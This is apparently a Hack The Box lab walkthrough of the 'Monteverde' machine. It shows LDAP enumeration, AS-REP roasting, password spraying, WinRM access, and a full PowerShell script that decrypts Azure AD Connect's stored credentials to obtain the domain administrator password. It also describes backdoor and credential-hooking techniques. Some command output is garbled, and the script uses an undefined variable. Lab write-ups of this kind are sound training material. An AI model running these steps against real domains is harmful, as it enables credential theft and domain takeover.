

Monteverde

<https://blog.xpnsec.com/azuread-connect-for-redteam/>

Below claude chat gives good explanation of Azure AD Connect vulnerability

<https://claude.ai/share/c022ed5c-446d-4bac-8674-d04462f34c1c>

perform nmap scan

```
nmap -sV -sC -vv T-IP -oA nmap
PORT      STATE SERVICE      REASON          VERSION
53/tcp    open  domain       syn-ack ttl 127 Simple DNS Plus
88/tcp    open  kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2026-04-25 17:48:50Z)
135/tcp    open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
139/tcp    open  netbios-ssn  syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp    open  ldap         syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL, Site: Default-First-Site-Name)
445/tcp    open  microsoft-ds? syn-ack ttl 127
464/tcp    open  kpasswd5?    syn-ack ttl 127
593/tcp    open  ncacn_http   syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp    open  tcpwrapped   syn-ack ttl 127
3268/tcp   open  ldap         syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL, Site: Default-First-Site-Name)
3269/tcp   open  tcpwrapped   syn-ack ttl 127
5985/tcp   open  http         syn-ack ttl 127 Microsoft HTTP API httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: MONTEVERDE; OS: Windows; CPE: cpe:/o:microsoft:windows
```

```

Host script results:
| smb2-security-mode:
|   3.1.1:
|_   Message signing enabled and required
|_ clock-skew: -6h59m59s
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 59714/tcp): CLEAN (Timeout)
|   Check 2 (port 59589/tcp): CLEAN (Timeout)
|   Check 3 (port 29693/udp): CLEAN (Timeout)
|   Check 4 (port 33754/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-time:
|   date: 2026-04-25T17:49:07
|_  start_date: N/A

```

After this I did basic enumeration of SMB found nothing then i enumerated LDAP to get users

```

ldapsearch -x -b "dc=megabank,dc=local" "*" -H ldap://10.129.228.111 | grep userPrincipalName

```

```

(sheru@kali)-[~/htb/machines/MonteVerde]
$ ldapsearch -x -b "dc=megabank,dc=local" "*" -H ldap://10.129.228.111 | grep userPrincipalName
userPrincipalName: mhope@MEGABANK.LOCAL
userPrincipalName: SABatchJobs@MEGABANK.LOCAL
userPrincipalName: svc-ata@MEGABANK.LOCAL
userPrincipalName: svc-bexec@MEGABANK.LOCAL
userPrincipalName: svc-netapp@MEGABANK.LOCAL
userPrincipalName: dgalanos@MEGABANK.LOCAL
userPrincipalName: roleary@MEGABANK.LOCAL
userPrincipalName: smorgan@MEGABANK.LOCAL

```

saved them in a file, Now we will do AS-REP Roasting

```

GetNPUsers.py megabank.local/ -usersfile users -no-pass -
dc-ip 10.129.228.111

```

```
[sheru@kali]~[/h/b/machines/Monteverde]
$ GetNPUsers.py megabank.local/ -usersfile users -no-pass -dc-ip 10.129.228.111
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

/home/sheru/.local/bin/GetNPUsers.py:150: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[-] User mhope doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User SABatchJobs doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User svc-ata doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User svc-bexec doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User svc-netapp doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User dgalanos doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User roleary doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
```

Now we will use crackmapexec to check whether any of user has used there username as there password

```
crackmapexec smb 10.129.228.111 -u users -p users --continue-on-success
```

```

[shuru@kali: ~/htb/machines/MonteVerde]
$ crackmapexec smb 10.129.228.111 -u users -p users --continue-on-success
SMB 10.129.228.111 445 MONTEVERDE [*] Windows 10.0 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK.LOCAL)
(signing:True) (SMBv1:False)
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:mhope STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:SABatchJobs STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:svc-ata STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:svc-bexec STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:svc-netapp STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:dgalanos STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:roleary STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:morgan STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\SABatchJobs:mhope STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [+] MEGABANK.LOCAL\SABatchJobs:SABatchJobs
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\SABatchJobs:svc-ata STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\SABatchJobs:svc-bexec STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\SABatchJobs:svc-netapp STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\SABatchJobs:dgalanos STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\SABatchJobs:roleary STATUS_LOGON_FAILURE

```

Found 1 hit

Now we will enumerate the shares

```
(sheru@kali)~[/htb/machines/Monteverde]
$ crackmapexec smb 10.129.228.111 -u SABatchJobs -p SABatchJobs --shares
SMB      10.129.228.111 445 MONTEVERDE [*] Windows 10v10 Build 17763 x64 (name:MONTVEVER
(signing=True)(SMBV1=False))
SMB      10.129.228.111 445 MONTEVERDE [+] MEGABANK.LOCAL\SABatchJobs:SABatchJobs
SMB      10.129.228.111 445 MONTEVERDE [+] Enumerated shares
SMB      10.129.228.111 445 MONTEVERDE
Share          Permissions    Remark
-----
ADMIN$         Remote Admin
azure_uploads   READ           Default share
C$             Default share
E$            Remote IPC
IPC$           READ          Logon server sh
NETLOGON       READ          Logon server sh
SYSVOL         READ          users$
users$        READ
```

We will check each share one by one using smbclient. In users\$ share we found a file azure.xml and we downloaded that file to our attacker machine

```
smb: \dgalanos\> cd ..
smb: \> cd mhope\
ls
smb: \mhope\> ls
.                               D            0   Fri Jan  3 18:41:18 2020
..                              D            0   Fri Jan  3 18:41:18 2020
azure.xml                      AR          1212  Fri Jan  3 18:40:23 2020
```

so we read this xml file and found a cleartext password

```
(sheru@kali)-[~/htb/machines/MonteVerde]
$ cat azure.xml
<?xml Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</ToString>
    <Props>
      <DT N="StartDate">2020-01-03T05:35:00.7562298-08:00</DT>
      <DT N="EndDate">2054-01-03T05:35:00.7562298-08:00</DT>
      <G N="KeyId">00000000-0000-0000-0000-000000000000</G>
      <S N="Password">4n0therD4y@n0th3r$</S>
    </Props>
  </Obj>
</Objs>
```

Used this password for spraying and found a user with this password i.e mhope

```
(sheru@kali)-[~/htb/machines/MonteVerde]
$ crackmapexec smb 10.129.228.111 -u users -p 4n0therD4y@n0th3r$
SMB 10.129.228.111 445 MONTEVERDE [*] Windows 10.0 Build 17763 x64 (name:MONTEVER
DE) (domain:MEGABANK.LOCAL) (signing:True) (SMBv1:False)
SMB 10.129.228.111 445 MONTEVERDE [+] MEGABANK.LOCAL\mhope:4n0therD4y@n0th3r$
```

We used these creds to check whether we can winrm into the dc

```
(sheru@kali)-[~/htb/machines/MonteVerde]
$ crackmapexec winrm 10.129.228.111 -u mhope -p 4n0therD4y@n0th3r$
SMB 10.129.228.111 5985 MONTEVERDE [*] Windows 10.0 Build 17763 (name:MONTEVERDE)
(domain:MEGABANK.LOCAL)
HTTP 10.129.228.111 5985 MONTEVERDE [*] http://10.129.228.111:5985/wsman
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4
has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from cry
ptography.hazmat.primitives.ciphers.algorithms in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM 10.129.228.111 5985 MONTEVERDE [+] MEGABANK.LOCAL\mhope:4n0therD4y@n0th3r$ (Pw
n3d!)
```

Now we will winrm into the machine and then read the user.txt flag

After that we uploaded PrivescCheck.ps1 on the machine and run that script and we found we have Azure AD Connect so we search and found a blog post that explains how to use Azure ad to get Administrator cleartext password

<https://blog.xpnsec.com/azuread-connect-for-redteam/>

Name	Version	Path
Active Directory Authentication Library for SQL Se ...	15.0.1300.359	
Browser for SQL Server 2017	14.0.1000.169	
Integration Services	15.0.1900.63	
Internet Explorer	11.00.17763.1	C:\Program Files\internet explorer
KB4505224 (GDR 2027 for SQL Server 2017 (KB4505224 ...	14.0.2027.2	C:\Program Files\Microsoft SQL Server
Microsoft Analysis Services (Microsoft SQL Server)	15.0.2000.20	C:\Program Files (x86)\Microsoft Analysis Services
Microsoft Analysis Services OLE DB Provider	15.0.2000.20	
Microsoft Azure Active Directory Connect (Microsof ...	1.1.882.0	C:\Program Files\Microsoft Azure Active Directory Conn
ect		
Microsoft Azure AD Connect	1.1.882.0	
Microsoft Azure AD Connect Health agent for sync	3.1.7.0	
Microsoft Azure AD Connect Health Sync Agent (Azur ...	3.1.7.0	C:\Program Files\Microsoft Azure AD Connect Health Syn
c Agent		
Microsoft Azure AD Connect synchronization service ...	1.1.882.0	
Microsoft Azure AD Sync (Microsoft® Azure® AD Conn ...	1.1.882.0	C:\Program Files\Microsoft Azure AD Sync
Microsoft Help Viewer 2.3	2.3.28107	C:\Program Files (x86)\Microsoft Help Viewer
Microsoft ODBC Driver 13 for SQL Server	14.0.2027.2	
Microsoft ODBC Driver 17 for SQL Server	17.4.1.1	
Microsoft OLE DB Driver for SQL Server	18.2.3.0	

What is Azure AD Connect

Imagine a company has its own internal Windows network (on-premises Active Directory) where employees log in every day. Now, that same company also uses cloud services like Microsoft 365, SharePoint, or Azure.

The problem: those cloud services don't automatically know about your internal AD users and passwords.

Azure AD Connect is the bridge. It's a piece of software installed on a server inside the company's network that **syncs** your on-premises Active Directory users (and optionally their password hashes) up to Microsoft's cloud (Azure AD). Once synced, users can log into cloud services using the same username and password they use at their desk.

What is the Blog Post Actually Demonstrating?

The blog post by XPN (Adam Chester) is asking: *"If an attacker gets onto the server running Azure AD Connect, what can they steal or abuse?"*

The answer turns out to be: **a lot**. There are two main attack paths explored:

Attack Path A — Password Hash Sync (PHS) Abuse

If the company uses **Password Hash Sync**, Azure AD Connect pulls password hashes from every DC using a privileged account called `MSOL_[random hex]`. This account has **DCSync privileges** — the same rights that tools like Mimikatz abuse to dump all domain password hashes.

The problem XPN found: **the password for that `MSOL_` account is stored locally** in a SQL database on the Azure AD Connect server, and it's encrypted — but with keys that are also accessible on the same machine. His PoC script

decrypts it and hands you the plaintext password for an account that can DCSync the entire domain.

Attack Path B — Pass-Through Authentication (PTA) Hooking

If the company uses **Pass-Through Authentication** instead (no hashes sent to the cloud), when a user logs into Office 365, their **plaintext password** is forwarded from Azure's cloud back to the on-prem Azure AD Connect server for validation.

XPn shows that by injecting a DLL into the Azure AD Sync process, you can hook the Windows `LogonUserW` API call that does this validation and **intercept every plaintext credential** as users authenticate. He even shows how to insert a **universal backdoor password** that grants access to any account.

Now we will use below script to get the cleartext password of administrator

```
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Server=127.0.0.1;Database=ADSync;Integrated Security=True"
$client.Open()
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$key_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)
$reader.Close()

$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$config = $reader.GetString(0)
$encrypted = $reader.GetString(1)
$reader.Close()
```

```

add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mccrypt.dll'
$km = New-Object -TypeName Microsoft.DirectoryServices.Meta
directoryServices.Cryptography.KeyManager
$km.LoadKeySet($entropy, $instance_id, $key_id)
$key = $null
$km.GetActiveCredentialKey([ref]$key)
$key2 = $null
$km.GetKey(1, [ref]$key2)
$decrypted = $null
$key2.DecryptBase64ToString($crypt, [ref]$decrypted)
$domain = select-xml -Content $config -XPath "//parameter[@
name='forest-login-domain']" | select @{Name = 'Domain'; Ex
pression = {$_.node.InnerXML}}
$username = select-xml -Content $config -XPath "//parameter
[@name='forest-login-user']" | select @{Name = 'Username';
Expression = {$_.node.InnerXML}}
$password = select-xml -Content $decrypted -XPath "//attrib
ute" | select @{Name = 'Password'; Expression = {$_.node.In
nerXML}}
Write-Host ("Domain: " + $domain.Domain)
Write-Host ("Username: " + $username.Username)
Write-Host ("Password: " + $password.Password)

```

```

Info: Upload successful!
*Evil-WinRM* PS C:\Users\mhope\Documents> .\Get-MSOLCredentials.ps1
Domain: MEGABANK.LOCAL
Username: administrator
Password: d0m@in4dminyeah!
*Evil-WinRM* PS C:\Users\mhope\Documents> 

```

Now we used crackmapexec to check we have winrm session via adminisitrator and we got Pwn3d!

```

crackmapexec winrm 10.129.228.111 -u Administrator -p d0m@i
n4dminyeah!

```



```
(sheru@kali)-[~/htb/machines/Monteverde]
$ crackmapexec winrm 10.129.228.111 -u Administrator -p d0m@in4dminyeah!
SMB 10.129.228.111 5985 MONTEVERDE [*] Windows 10.0 Build 17763 (name:MONTEVERDE)
(domain:MEGABANK.LOCAL)
HTTP 10.129.228.111 5985 MONTEVERDE [*] http://10.129.228.111:5985/wsman
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4
has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from cry
ptography.hazmat.primitives.ciphers.algorithms in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM 10.129.228.111 5985 MONTEVERDE [*] MEGABANK.LOCAL\Administrator:d0m@in4dminyeah!
h! (Pwn3d!)
```

```
*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
6813c47c0cf04977d40a986c8e2a0794
*Evil-WinRM* PS C:\Users\Administrator\Desktop>
```

Timing

On reviewing the blog post to write this, I see there's an update:

Update 12/04/2020 - Due to changes in the way which Azure AD Sync now stores its keys, access to the service account (ADSync by default) or the Credential Manager of the service account is now required to decrypt the configuration. One way to work around this using tools such as Cobalt Strike is to simply inject into a process running under the ADSync process and continue with the above POC. Alternatively we can take advantage of the fact that the LocalDB instance is in-fact running as the "ADSync" user, meaning that a simple bit of `xp_cmdshell` magic is all we need to resume our decryption method. A new POC to leverage this can be found [on GitHub](#).